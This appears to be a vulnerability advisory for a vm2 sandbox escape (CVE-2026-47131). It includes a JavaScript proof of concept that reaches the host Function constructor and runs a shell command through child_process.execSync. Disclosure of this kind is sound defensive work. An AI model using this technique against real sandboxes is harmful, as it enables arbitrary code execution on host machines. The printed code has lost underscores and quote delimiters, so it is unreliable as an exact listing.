CVE-2026-47131: vm2: Sandbox Escape

Summary By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC js "use strict";

const { VM } = require("vm2"); const vm = new VM();

vm.run( "use strict";

const getProto = Buffer.call.call({}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call({}.lookupSetter, Buffer, "proto");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("childprocess").execSync("echo pwned", { stdio: "inherit" }); } }

f(); );

Impact Sandbox Escape → RCE